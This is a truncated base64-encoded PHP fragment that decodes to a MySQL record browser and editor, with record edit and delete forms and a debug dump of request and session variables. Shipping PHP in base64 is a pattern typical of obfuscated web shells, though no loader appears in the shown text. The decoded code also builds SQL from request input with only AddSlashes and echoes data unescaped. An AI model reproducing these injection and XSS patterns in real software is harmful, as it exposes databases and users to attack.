WUgbGlrZSAnJSIuJGZuYW1lLiInIjsKICAgICAgJG5ld3Jlc3VsdCA9IGV4ZXF1ZXJ5KCRuZXdzcWwsICR0YWJsZW5hbWUsICRkYm5hbWUpOwogICAgICAkYXJyPW15c3FsX2ZldGNoX2FycmF5KCRuZXdyZXN1bHQpOwogICAgLy8gRW5kIG9mIG5ldyBjb2RlIGJsb2NrIGZvciBzZXQgZHJvcCBkb3duCgogICAgICAgICAgICAgICAgaWYoJGZsZW4gPiAkbXhsZW4pewogICAgICAgICAgICAgICAgICAgICAgICAkcndzPSAkZmxlbi8kbXhsZW47CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYoJHJ3cz4xMCl7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHJ3cz0xMDsgLy9tYXggbGVuZ3RoIG9mIHRleHRhcmVhCiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgZWNobyI8dGQ+PHRleHRhcmVhIG5hbWU9J2FycmF5WyRpXScgcm93cz0kcndzIGNvbHM9JG14bGVuPiRuc2xhc2g8L3RleHRhcmVhPjwvdGQ+PC90cj5cbiI7Ci8vIFN0YXJ0IG9mIG5ldyBjb2RlIGZvciBzZXQgZHJvcCBkb3duCiAgICAgICAgICB9ZWxzZWlmIChzdHJuY21wKCRhcnJbMV0sJ3NldCcsMyk9PTAgfHwgc3RybmNtcCgkYXJyWzFdLCdlbnVtJyw0KT09MCl7ICAvLyBXZSBoYXZlIGEgZmllbGQgdHlwZSBvZiBzZXQgb3IgZW51bQogICAgICAgICAgICRudW09c3Vic3RyX2NvdW50KCRhcnJbMV0sJywnKSArIDE7ICAvLyBjb3VudCB0aGUgbnVtYmVyIG9mIGVudHJpZXMKICAgICAgICAgICAkcG9zPXN0cnBvcygkYXJyWzFdLCcoJyApOyAvL2ZpbmQgdGhlIHBvc2l0aW9uIG9mICcoJwogICAgICAgICAgICRuZXdzdHJpbmc9c3Vic3RyKCRhcnJbMV0sJHBvcysxKTsgIC8vIGdldCByaWQgb2YgdGhlICc/Pz8oJwogICAgICAgICAgICRzbmV3c3RyaW5nPXN0cl9yZXBsYWNlKCcpJywnJywkbmV3c3RyaW5nKTsgLy8gZ2V0IHJpZCBvZiB0aGUgbGFzdCAnKScKICAgICAgICAgICAkbm5ld3N0cmluZz1leHBsb2RlKCcsJywkc25ld3N0cmluZywkbnVtKTsgLy8gc3RpY2sgaW50byBhbiBhcnJheQogICAgICAgICAgIGlmKHN0cm5jbXAoJGFyclsxXSwnc2V0JywzKT09MCApey8vU2V0cyBjYW4gaGF2ZSBjb21iaW5hdGlvbnMgb2YgdmFsdWVzCiAgICAgICAgICAgICAgIGVjaG8iPHRkPjxzZWxlY3QgbmFtZT0nYXJyYXlbJGldW10nIG11bHRpcGxlIHNpemU9JzMnPiI7CiAgICAgICAgICAgfWVsc2V7Ly9FbnVtIG9uZSB2YWx1ZSBvbmx5CiAgICAgICAgICAgICAgIGVjaG8iPHRkPjxzZWxlY3QgbmFtZT0nYXJyYXlbJGldJz4iOwogICAgICAgICAgIH0KICAgICAgICAgICAkbnNlbD1leHBsb2RlKCIsIiwkbnNsYXNoKTsKICAgICAgICAgIGZvcigkeT0wOyAkeTwkbnVtOyR5KyspewogICAgICAgICAgICAgICAgLy9nZXRlYWNoIHZhbHVlICdhLGIsYycKICAgICAgICAgICAgICAgICRzZWw9IiI7CiAgICAgICAgICAgICAgICBmb3IoJGU9MDsgJGU8Y291bnQoJG5zZWwpOyRlKyspewogICAgICAgICAgICAgICAgICAgIGlmKCRubmV3c3RyaW5nWyR5XT09IiciLiRuc2VsWyRlXS4iJyIpewogICAgICAgICAgICAgICAgICAgICAgICAkc2VsPSJzZWxlY3RlZCI7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgZWNobyI8b3B0aW9uIHZhbHVlPSRubmV3c3RyaW5nWyR5XSAkc2VsPiRubmV3c3RyaW5nWyR5XSI7CiAgICAgICAgICAgfQogICAgICAgICAgICBlY2hvIjwvc2VsZWN0PjwvdGQ+PC90cj5cbiI7Ci8vIEVuZCBvZiBuZXcgY29kZSBibG9jayBmb3Igc2V0IGRyb3AgZG93bgoKCiAgICAgICAgfWVsc2V7CiAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8iPHRkPjxpbnB1dCB0eXBlPXRleHQgbmFtZT0nYXJyYXlbJGldJyBzaXplPSckZmxlbicgdmFsdWU9JyRuc2xhc2gnIC8+PC90ZD48L3RyPlxuIjsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIGZvcigkZiA9MDsgJGY8IGNvdW50KCRwayk7JGYrKyl7CiAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8iPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9cGtbJGZdIHZhbHVlPSckcGtbJGZdJyAvPiI7CiAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8iPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9cHZbJGZdIHZhbHVlPSckcHZbJGZdJyAvPlxuIjsKICAgICAgICAgICAgICAgIH0KICAgICAgICB9CiAgICAgICAgZWNobyI8dHI+PHRkPjxpbnB1dCBjbGFzcz1idXQgdHlwZT1zdWJtaXQgbmFtZT0nZWRpdHJlYycgdmFsdWU9J1VwZGF0ZScgLz48L3RkPlxuIjsKICAgICAgICBlY2hvIjx0ZD48aW5wdXQgY2xhc3M9YnV0IHR5cGU9cmVzZXQgbmFtZT0ncmVzZXQnIHZhbHVlPSdSZXNldCBGb3JtJyAvPjwvdGQ+XG4iOwogICAgICAgIGVjaG8iPC90cj4iOwogICAgICAgIGVjaG8iPC90YWJsZT5cbiI7CiAgICAgICAgZWNobyI8L2Zvcm0+XG4iOwp9Ci8vKioqKioqKioqKioqKioqKioqKioqKioqRWRpdCBSZWNvcmQqKioqKioqKioqKioqKioqKioqKioqKioqCmZ1bmN0aW9uIGVkaXRyZWMoJGRibmFtZSwgJHRhYmxlbmFtZSwgJHBrLCAkcHYsICRhcnJheSl7CgogICAgICAgIC8vJHJlc3VsdCA9IEBteXNxbF9xdWVyeSggIlNlbGVjdCAqIGZyb20gJHRhYmxlbmFtZSIgKTsKICAgICRyZXN1bHQgPSBleGVxdWVyeSgiU2VsZWN0ICogZnJvbSAkdGFibGVuYW1lIiwgJHRhYmxlbmFtZSwgJGRibmFtZSk7CiAgICAgICAgJGZsZHMgPSBteXNxbF9udW1fZmllbGRzKCRyZXN1bHQpOwogICAgICAgICRmaWVsZHMgPSBteXNxbF9saXN0X2ZpZWxkcygkZGJuYW1lLCAkdGFibGVuYW1lKTsKCi8vQnVpbGQgUXVlcnkKICAgICAgICAgICAkcXJ5PSIiOwogICAgJHF1ZXJ5ID0gIlVQREFURSAkdGFibGVuYW1lIHNldCAiOwogICAgICAgIGZvciAoJHggPTA7ICR4IDwgJGZsZHM7ICR4KyspewogICAgICAgICAgICAgICAgJGZpZSA9IG15c3FsX2ZpZWxkX25hbWUoJGZpZWxkcywgJHggKTsKICAgICAgICAvLyBTRVQgYW5kIEVOVU0KICAgICAgICAgaWYoaXNfYXJyYXkoJGFycmF5WyR4XSkpewogICAgICAgICAgICAkbXZhbD0iIjsKICAgICAgICAgICAgZm9yKCRtPTA7ICRtIDwgY291bnQoJGFycmF5WyR4XSk7ICRtKyspewogICAgICAgICAgICAgICAgaWYoJG0rMSA9PSBjb3VudCgkYXJyYXlbJHhdKSl7CiAgICAgICAgICAgICAgICAgICAgJG12YWwuPSBBZGRTbGFzaGVzKCRhcnJheVskeF1bJG1dKTsKICAgICAgICAgICAgICAgIH1lbHNlewogICAgICAgICAgICAgICAgICAgICRtdmFsLj0gQWRkU2xhc2hlcygkYXJyYXlbJHhdWyRtXSkuIiwiOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgJGZ2YWwgPSAkbXZhbDsKICAgICAgICAgICAgfQogICAgICAgIH1lbHNlewogICAgICAgICAgICAgICAgICAgICRmdmFsID0gQWRkU2xhc2hlcygkYXJyYXlbJHhdKTsKICAgICAgICB9CiAgICAgICAgLy8qKioqKioqKioqKioqKioqKioqKioqKioqKgogICAgICAgICAgICAgICAgLy8kZnZhbCA9IEFkZFNsYXNoZXMoJGFycmF5WyR4XSk7CiAgICAgICAgICAgICAgICAkcXJ5IC49ICIkZmllID0gJyRmdmFsJyI7CiAgICAgICAgICAgICAgICBpZiAoJHggPCAkZmxkcy0xKXsKICAgICAgICAgICAgICAgICAgICAgICAgJHFyeS49ICIsICI7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgICR3aHIgPSBidWlsZHdociggJHBrLCAkcHYpOwogICAgICAgICR3aHIgPVN0cmlwU2xhc2hlcygkd2hyKTsKICAgICAgICAkcXVlcnkgLj0gIiRxcnkiOwogICAgICAgICRxdWVyeSAuPSAiIHdoZXJlICR3aHIiOwoKICAgICRyZXN1bHQ9ZXhlcXVlcnkoJHF1ZXJ5LCAkdGFibGVuYW1lLCAkZGJuYW1lKTsKICAgICAgICBpZigkcmVzdWx0KXsKICAgICAgICAgICAgICAgIHJldHVybiAkcmVzdWx0OwogICAgICAgIH1lbHNlewogICAgICAgICAgICAgICAgcmV0dXJuIGZhbHNlOwogICAgICAgIH0KfQovLyoqKioqKioqKioqKioqKioqKiBOdW1iZXIgb2YgUHJpbWFyeSBLZXlzICoqKioqKioqKioqKioqKioqKioqKioqCmZ1bmN0aW9uIG51bXBrKCRyZXN1bHQpewogICAgICAgICR6ID0wOwogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8ICRmbGRzOyAkaSsrKSB7CiAgICAgICAgICAgICAgICAvL0ZpbmQgdGhlIHByaW1hcnkga2V5CiAgICAgICAgICAgICAgICAkZmxhZ3N0cmluZyA9IG15c3FsX2ZpZWxkX2ZsYWdzICgkcmVzdWx0LCAkaSk7CiAgICAgICAgICAgICAgICBpZihlcmVnaSgicHJpbWFyeSIsJGZsYWdzdHJpbmcgKSl7CiAgICAgICAgICAgICAgICAgICAgICAgICR6Kys7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgIHJldHVybiAkejsKfQovLyoqKioqKioqKioqKioqKioqKioqU2l6ZSBmaWVsZCoqKioqKioqKioqKioqKioqCmZ1bmN0aW9uIGZpZWxkZm9ybXNpemUoJGZ0LCAkaSwgJGwpewogICAgICAgICRmdD0gdHJpbShzdHJ0b3VwcGVyKCRmdCkpOwogICAgICAgIGlmKCRmdCA9PSJEQVRFIiB8fCAkZnQ9PSJUSU1FIiB8fCAkZnQ9PSAiREFURVRJTUUiICl7CiAgICAgICAgfWVsc2VpZiggJGZ0PT0iVElOWVRFWFQiIHx8ICRmdD09IkJMT0IiIHx8ICRmdD09IlRFWFQiIHx8ICRmdCA9PSJNRURJVU1CTE9CIil7CiAgICAgICAgICAgICAgICBlY2hvIjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPSdsZW5nWyRpXScgdmFsdWU9JGw+IjsKICAgICAgICB9ZWxzZWlmKCRmdD09Ik1FRElVTVRFWFQiIHx8ICRmdD09IkxPTkdCTE9CInx8ICRmdD09IkxPTkdURVhUIiB8fCAkZnQ9PSJUSU5ZQkxPQiIpewogICAgICAgICAgICAgICAgZWNobyI8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT0nbGVuZ1skaV0nIHZhbHVlPSRsPiI7CiAgICAgICAgfWVsc2VpZigkZnQ9PSJJTlQiIHx8ICRmdD09IlRJTllJTlQifHwgJGZ0PT0iU01BTExJTlQifHwgJGZ0PT0iTUVESVVNSU5UInx8ICRmdD09IkJJR0lOVCIgfHwgJGZ0PT0iSU5URUdFUiIpewogICAgICAgICAgICAgICAgZWNobyI8aW5wdXQgdHlwZT10ZXh0IG5hbWU9J2xlbmdbJGldJyBzaXplPTUgIHZhbHVlPSRsPiI7CiAgICAgICAgfWVsc2VpZigkZnQ9PSJZRUFSIiApewogICAgICAgICAgICAgICAgZWNobyI8c2VsZWN0IG5hbWU9J2xlbmdbJGldJz4iOwogICAgICAgICAgICAgICAgZWNobyI8b3B0aW9uIHZhbHVlPSc0Jz40IjsKICAgICAgICAgICAgICAgIGVjaG8iPG9wdGlvbiB2YWx1ZT0nMic+MiI7CiAgICAgICAgICAgICAgICBlY2hvIjwvc2VsZWN0PlxuIjsKICAgIH1lbHNlaWYoJGZ0PT0iU0VUInx8ICRmdD09IkVOVU0iKXsKICAgICAgICBlY2hvIjxpbnB1dCB0eXBlPXRleHQgbmFtZT0nbGVuZ1skaV0nIHRpdGxlPSd2YWx1ZXMgZWcgXCJhXCIsIFwiYlwiLCBcImNcIicgdmFsdWU9JycgLz4iOwogICAgICAgIH1lbHNlewogICAgICAgICAgICAgICAgZWNobyI8aW5wdXQgdHlwZT10ZXh0IG5hbWU9J2xlbmdbJGldJyBzaXplPTUgdmFsdWU9JGwgLz5cbiI7CiAgICAgICAgfQp9CgovLyoqKioqKioqKioqKioqKioqKioqKioqKioqKioqKkRpc3BsYXkgUm93ICoqKioqKioqKioqKioqKioqKioqKioqKioqKioqKgpmdW5jdGlvbiBkaXNwbGF5cm93KCRkYm5hbWUsICR0YmwsICRwaywgJHBrZmllbGQsICRjcGssICRyb3csICRmbGRzKXsKICAgICAgICAkcGtmcz0iIjsKICAgICAgICAkaHY9IiI7CiAgICAgICAgJGhmPSIiOwoKICAgICAgICBpZigkY3BrID4wICYmICFlbXB0eSgkcGtmaWVsZCkpewogICAgICAgICAgICAgICAgZm9yKCRhID0gMDsgJGEgPCAkY3BrOyAkYSsrKXsKICAgICAgICAgICAgICAgICAgICAgICAgJGZpZWxkbiA9ICRwa2ZpZWxkWyRhXTsKICAgICAgICAgICAgICAgICAgICAgICAgJGhmIC49ICI8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1wa1skYV0gdmFsdWU9JyRwa2ZpZWxkWyRhXScgLz4iOwogICAgICAgICAgICAgICAgICAgICAgICAkaHYgLj0gIjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPXB2WyRhXSB2YWx1ZT0nJHJvd1skZmllbGRuXScgLz4iOwogICAgICAgICAgICAgICAgfQogICAgICAgIH1lbHNleyAvL05vIFByaW1hcnkgS2V5IHNvIHVzZSBhbGwgZmllbGRzCiAgICAgICAgICAgICAgICAkZmllbGRzID0gbXlzcWxfbGlzdF9maWVsZHMoJGRibmFtZSwgJHRibCk7CiAgICAgICAgICAgICAgICBmb3IoJGIgPSAwOyAkYiA8ICRmbGRzOyAkYisrKXsKICAgICAgICAgICAgICAgICAgICAgICAgJGZpZSA9IG15c3FsX2ZpZWxkX25hbWUoJGZpZWxkcywgJGIgKTsKICAgICAgICAgICAgICAgICAgICAgICAgJGhmIC49ICI8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1wa1skYl0gdmFsdWU9JyRmaWUnIC8+IjsKICAgICAgICAgICAgICAgICAgICAgICAgJGh2IC49ICI8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1wdlskYl0gdmFsdWU9JyRyb3dbJGJdJyAvPiI7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgIGVjaG8iPHRyPlxuIjsKICAgICAgICAvL2VkaXQgUmVjb3JkCiAgICAgICAgZWNobyI8dGQ+PGZvcm0gYWN0aW9uPSckYWN0aW9uJyBtZXRob2Q9cG9zdD5cbiI7CiAgICAgICAgZWNobyI8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1kYm5hbWUgdmFsdWU9JyRkYm5hbWUnIC8+XG4iOwogICAgICAgIGVjaG8iPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9dGFibGVuYW1lIHZhbHVlPSckdGJsJyAvPlxuIjsKICAgICAgICBlY2hvIjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPW5wa2V5cyB2YWx1ZT0nJGNwaycgLz5cbiI7CiAgICAgICAgZWNobyIkaGYiOwogICAgICAgIGVjaG8iJGh2IjsKICAgICAgICBlY2hvIjxpbnB1dCBjbGFzcz1zbWwgdHlwZT1zdWJtaXQgbmFtZT1lZGl0IHZhbHVlPSdFZGl0IFJlY29yZCcgLz5cbiI7CiAgICAgICAgZWNobyI8L2Zvcm0+PC90ZD5cbiI7CgogICAgICAgIC8vRGVsZXRlIHJlY29yZAogICAgICAgIGVjaG8iPHRkPjxmb3JtIGFjdGlvbj0nJGFjdGlvbicgbWV0aG9kPXBvc3Q+XG4iOwogICAgICAgIGVjaG8iPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ZGJuYW1lIHZhbHVlPSckZGJuYW1lJyAvPlxuIjsKICAgICAgICBlY2hvIjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPXRhYmxlbmFtZSB2YWx1ZT0nJHRibCcgLz5cbiI7CiAgICAgICAgZWNobyI8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1udW0gdmFsdWU9JyRjcGsnIC8+XG4iOwogICAgICAgIGVjaG8iJGhmIjsKICAgICAgICBlY2hvIiRodiI7CiAgICAgICAgZWNobyI8aW5wdXQgY2xhc3M9c21sZGVsIHR5cGU9c3VibWl0IG5hbWU9ZGVsZXRlIHZhbHVlPSdEZWxldGUgUmVjb3JkJyAvPlxuIjsKICAgICAgICBlY2hvIjwvZm9ybT48L3RkPiI7CgogICAgICAgIC8vRGlzcGxheSBhbGwgdGhlIGNvbHVtbnMuCiAgICAgICAgZm9yKCRjb2wgPSAwOyAkY29sIDwgJGZsZHM7ICRjb2wgKyspewogICAgICAgICAgICAgICAgJG5zbGFzaCA9IFN0cmlwU2xhc2hlcygkcm93WyRjb2xdKTsKICAgICAgICAgICAgICAgIGVjaG8iPHRkPiRuc2xhc2g8L3RkPiI7CiAgICAgICAgfQogICAgICAgIGVjaG8iPC90cj4iOwoKfQovLyoqKioqKioqKioqKioqKioqKioqKioqUmVtb3ZlIEFycmF5IENvcHkqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKgovL3JlbW92ZXMgY29waWVzIGZyb20gYW4gYXJyYXkgJHguCgpmdW5jdGlvbiByZW1vdmVhcnJheWNvcHkoJHgpewogICAgICAgICRsZW5nPSBjb3VudCgkeCk7CiAgICAgICAgc29ydCgkeCk7CiAgICAgICAgJGZhcnI9YXJyYXkoKTsKCiAgICAgICAgZm9yICgkaSA9MDsgJGkgPCAkbGVuZzsgJGkrKyl7CiAgICAgICAgICAgICAgICAkZmxhZz1mYWxzZTsKICAgICAgICAgICAgICAgIGZvciAoJHMgPTA7ICRzIDwgY291bnQoJGZhcnIpOyAkcysrKXsKICAgICAgICAgICAgICAgICAgICAgICAgaWYoJHhbJGldPT0kZmFyclskc10pewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRmbGFnPXRydWU7CiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIGlmICgkZmxhZyA9PSBmYWxzZSl7CiAgICAgICAgICAgICAgICAgICAgICAgICRmYXJyW2NvdW50KCRmYXJyKV0gPSAkeFskaV07CiAgICAgICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgIHJldHVybiAkZmFycjsKfQovLyoqKioqKioqKioqKioqKioqKioqKioqPDwgcGFnZSBwb3NpdGlvbiA+PioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqCmZ1bmN0aW9uIHdoaWNocGFnZSgkbnVtX3Jvd3MsICRwYWdlbWF4LCAkcGcsICR0YWJsZW5hbWUsICRzZWFyY2h2YWwpewogICAgICAgICRwZ3MgPSAkbnVtX3Jvd3MvJHBhZ2VtYXg7CiAgICAgICAgJHBncz1jZWlsKCRwZ3MpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgLy9yb3VuZCB1cCB0aGUgbnVtYmVyIG9mIHBhZ2VzLgogICAgICAgIGVjaG8iPGZvcm0gYWN0aW9uPSckYWN0aW9uJyBpZD0ncmVjc3BhZ2UnIG1ldGhvZD0ncG9zdCcgbmFtZT0ncmVjc3BhZ2UnPlxuIjsKICAgIGVjaG8iVG90YWwgbnVtYmVyIG9mIHJlY29yZHMgJG51bV9yb3dzLCBkaXNwbGF5ZWQgb24gJHBncyBwYWdlcyBvZiBcbiI7CiAgICBlY2hvIjxpbnB1dCB0eXBlPSd0ZXh0JyAgbmFtZT0ncGFnZW1heCcgdmFsdWU9JyRwYWdlbWF4JyBzaXplPSc0JyBvbmNoYW5nZT0namF2YXNjcmlwdDp0aGlzLmZvcm0uc3VibWl0KCk7JyB0aXRsZT0nVHlwZSB0aGUgbnVtYmVyIHJlY29yZHMgdG8gZGlzcGxheSBvbiBhIHBhZ2UgdGhlbiBjbGljayBvdXRzaWRlIHRoZSBib3gnIC8+IFxuIjsKICAgICAgICBlY2hvIjxpbnB1dCB0eXBlPSdoaWRkZW4nIG5hbWU9J3NlYXJjaHZhbCcgdmFsdWU9JyRzZWFyY2h2YWwnICAvPlxuIjsKICAgIGVjaG8iPGlucHV0IHR5cGU9J2hpZGRlbicgbmFtZT0ndGFibGVuYW1lJyB2YWx1ZT0nJHRhYmxlbmFtZScgIC8+XG4iOwogICAgZWNobyJyZWNvcmRzIHBlciBwYWdlLjwvZm9ybT4gXG4iOwogICAgJHBhZ2VzY3JvbD0iIjsKICAgICRzdmFsPSIiOwogICAgICAgICAgaWYoJHBncyA+MSl7CiAgICAgICAgICAgICRwYWdlc2Nyb2w9IjxkaXYgY2xhc3M9J3BhZ2Vjb3VudCc+XG4iOwogICAgICAgICAgICAgICAgICAgICAgICAkbnh0PSRwZysxOwogICAgICAgICAgICAkYms9JHBnLTE7CiAgICAgICAgICAgICRsc3Q9JHBnczsKICAgICAgICAgICAgJGVuZD0kbHN0LTE7CiAgICAgICAgICAgICRzaG93cD0kcGcrMTsKICAgICAgICAgICBpZigkc2VhcmNodmFsICE9IiIpewogICAgICAgICAgICAkc3ZhbD0iJmFtcDtzZWFyY2h2YWw9JHNlYXJjaHZhbCI7CiAgICAgICAgICAgfQogICAgICAgICAgICRwYWdlc2Nyb2wgLj0gIjxmb3JtIG5hbWU9J3BhZ2VzJyBpZD0ncGFnZXMnIGFjdGlvbj0nJGFjdGlvbicgbWV0aG9kPSdnZXQnPlxuIjsKICAgICAgICAgICAgaWYoJHBnPj0xKXsKICAgICAgICAgICAgICAgICRwYWdlc2Nyb2wgLj0gIiA8YSBocmVmPSckYWN0aW9uP3RhYmxlbmFtZT0kdGFibGVuYW1lJmFtcDtwZz0wJHN2YWwnIHRpdGxlPSdUbyBmaXJzdCBwYWdlJz4gMSA6PDwgPC9hPiBcbiI7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHBhZ2VzY3JvbCAuPSAiIDxhIGhyZWY9JydhY3Rpb24nP3RhYmxlbmFtZT0kdGFibGVuYW1lJmFtcDtwZz0kYmskc3ZhbCcgdGl0bGU9J0JhY2sgb25lIHBhZ2UnPiA8IDwvYT4gXG4iOwogICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgJHBhZ2VzY3JvbCAuPSAiPGlucHV0IHR5cGU9J3RleHQnIG5hbWU9J3BnJyB2YWx1ZT0nJHNob3dwJyBzaXplPSc0JyBvbmNoYW5nZT0namF2YXNjcmlwdDp0aGlzLmZvcm0uc3VibWl0KCk7JyB0aXRsZT0nVHlwZSBhIHBhZ2UgbnVtYmVyIHRoZW4gY2xpY2sgb3V0c2lkZSB0aGUgYm94JyAvPlxuIjsKICAgICAgICAgICAkcGFnZXNjcm9sIC49ICI8aW5wdXQgdHlwZT0naGlkZGVuJyBuYW1lPSdwYmFjaycgdmFsdWU9J3RydWUnICAvPlxuIjsKICAgICAgICAgICAkcGFnZXNjcm9sIC49ICI8aW5wdXQgdHlwZT0naGlkZGVuJyBuYW1lPSdzZWFyY2h2YWwnIHZhbHVlPSckc2VhcmNodmFsJyAgLz5cbiI7CiAgICAgICAgICAgJHBhZ2VzY3JvbCAuPSAiPGlucHV0IHR5cGU9J2hpZGRlbicgbmFtZT0ndGFibGVuYW1lJyB2YWx1ZT0nJHRhYmxlbmFtZScgIC8+XG4iOwoKICAgICAgICAgICBpZigkc2hvd3AgPCAkbHN0KXsKICAgICAgICAgICAgICAgICRwYWdlc2Nyb2wgLj0gIiA8YSBocmVmPScnYWN0aW9uJz90YWJsZW5hbWU9JHRhYmxlbmFtZSZhbXA7cGc9JG54dCRzdmFsJyB0aXRsZT0nTmV4dCBwYWdlJz4gPiA8L2E+IFxuIjsKICAgICAgICAgICAgICAgICRwYWdlc2Nyb2wgLj0gIiA8YSBocmVmPScnYWN0aW9uJz90YWJsZW5hbWU9JHRhYmxlbmFtZSZhbXA7cGc9JGVuZCRzdmFsJyB0aXRsZT0nVG8gTGFzdCBwYWdlJz4gPj46ICRsc3Q8L2E+IFxuIjsKICAgICAgICAgICB9CiAgICAgICAgICAgJHBhZ2VzY3JvbCAuPSAiPC9mb3JtPlxuIjsKICAgICAgICAgICAkcGFnZXNjcm9sLj0iPC9kaXY+XG4iOwogICAgICB9CiAgICAgICAgcmV0dXJuICRwYWdlc2Nyb2w7Cn0KCi8vKioqKioqKioqKioqKkRpc3BsYXkgRm9vdGVyKioqKioqKioqKioqKioqKioqKioqKioqKgovL1BsZWFzZSBkb24ndCByZW1vdmUgb3IgY2hhbmdlLgpmdW5jdGlvbiBkaXNwbGF5X2Zvb3QoKXsKCiAgICBlY2hvIjxkaXYgY2xhc3M9J2Zvb3QnPlZlcnNpb24gJHZlcnNpb24gJmNvcHk7ICIuZGF0ZSgnWScpLiIgPGEgc3R5bGU9J3RleHQtZGVjb3JhdGlvbjpub25lOycgdGFyZ2V0PSdfYmxhbmsnIGhyZWY9J2h0dHA6Ly92bmJyYWluLm5ldCc+a2FpbGF0aWdpLW1vbm88L2E+PC9kaXY+IjsKCiAgICB9Ci8vKioqKioqKioqKioqKk15IFNpemUqKioqKioqKioqKioqKioqKioqKioqKioqCi8vUmV0dXJucyB0aGUgc2l6ZSBvZiBhIHRhYmxlIG9yIGRhdGFiYXNlCmZ1bmN0aW9uIG15c2l6ZSgkZGJuYW1lLCAkdGFibGVuYW1lKXsKICAgICRsaWtlPSIiOwogICAgJHRvdGFsPSIiOwogICAgJHQ9MDsKICAgIGlmKCR0YWJsZW5hbWUgIT0iIil7CiAgICAgICAgJGxpa2U9IiBsaWtlICckdGFibGVuYW1lJyI7CiAgICB9CiAgICAkc3FsPSAiU0hPVyBUQUJMRSBTVEFUVVMgRlJPTSAkZGJuYW1lICRsaWtlIjsKICAgIC8vJHJlc3VsdCA9IG15c3FsX3F1ZXJ5KCRzcWwpOwogICAgJHJlc3VsdD1leGVxdWVyeSgkc3FsLCAkdGFibGVuYW1lLCAkZGJuYW1lKTsKICAgIGlmKCRyZXN1bHQpewoKICAgICAgICB3aGlsZSgkcmVjID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHJlc3VsdCkpewogICAgICAgICAkdCs9KCRyZWNbJ0RhdGFfbGVuZ3RoJ10gKyAkcmVjWydJbmRleF9sZW5ndGgnXSk7CiAgICAgICAgIH0KICAgICAgICAkdG90YWwgPSI8c3BhbiBjbGFzcz0nYnl0ZXMnPiR0IGJ5dGVzPC9zcGFuPiI7CiAgICB9ZWxzZXsKICAgICAgICAkdG90YWw9IlVua25vd2VuIjsKICAgIH0KICAgIHJldHVybigkdG90YWwpOwp9CgoKLy8qKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKgovL0RFQlVHIHRvIHNob3cgYWxsIGJlaW5nIHBhc3NlZCB0byB0aGUgcGFnZQpmdW5jdGlvbiBzaG93cGFzc2luZ3ZhcnMoKXsKICAgICAgICBlY2hvIkdldDogIjsKICAgICAgICAgZm9yZWFjaCgkX0dFVCBhcyAkcHJhbT0+JHZhbHVlKXsKICAgICAgICAgICAgICAgICBlY2hvIiRwcmFtOiAkdmFsdWUsICI7CiAgICAgICAgIH0KICAgICAgICBlY2hvIjxicj5Qb3N0OiAiOwogICAgICAgICBmb3JlYWNoKCRfUE9TVCBhcyAkcHJhbT0+JHZhbHVlKXsKICAgICAgICAgICAgICAgICAgZWNobyIkcHJhbTogJHZhbHVlLCAiOwogICAgICAgICB9CiAgICAgICAgIGVjaG8iPGJyPlNlc3Npb246ICI7CiAgICAgICAgIGZvcmVhY2goJF9TRVNTSU9OIGFzICRwcmFtPT4kdmFsdWUpewogICAgICAgICAgICAgICAgIGVjaG8iJHByYW06ICR2YWx1ZSwgIjsKICAgICAgICAgfQogfQplY2hvIjxodG1sPlxuIjsKZWNobyI8bWV0YSBodHRwLWVxdWl2PSdDb250ZW50LVR5cGUnIGNvbnRlbnQ9J3RleHQvaHRtbDsgY2hhcnNldD13aW5kb3dzLTEyNTYnPlxuIjsKZWNobyI8aGVhZD5cbiI7CmVjaG8iPHRpdGxlPlNjYXJwdCBjb250YWN0IGRhdGFiYXNlczwvdGl0bGU+XG4iOwplY2hvIjxTVFlMRT4KCkJPRFkKIHsKICAgICAgICBTQ1JPTExCQVItRkFDRS1DT0xPUjogIzAwMDAwMDsgU0NST0xMQkFSLUhJR0hMSUdIVC1DT0xPUjogIzAwMDAwMDsgU0NST0xMQkFSLVNIQURPVy1DT0xPUjogIzAwMDAwMDsgQ09MT1I6ICNmZmZmZmY7IFNDUk9MTEJBUi0zRExJR0hULUNPTE9SOiAjNzI2NDU2OyBTQ1JPTExCQVItQVJST1ctQ09MT1I6ICM3MjY0NTY7IFNDUk9MTEJBUi1UUkFDSy1DT0xPUjogIzI5MjkyOTsgRk9OVC1GQU1JTFk6IFZlcmRhbmE7IFNDUk9MTEJBUi1EQVJLU0hBRE9XLUNPTE9SOiAjNzI2NDU2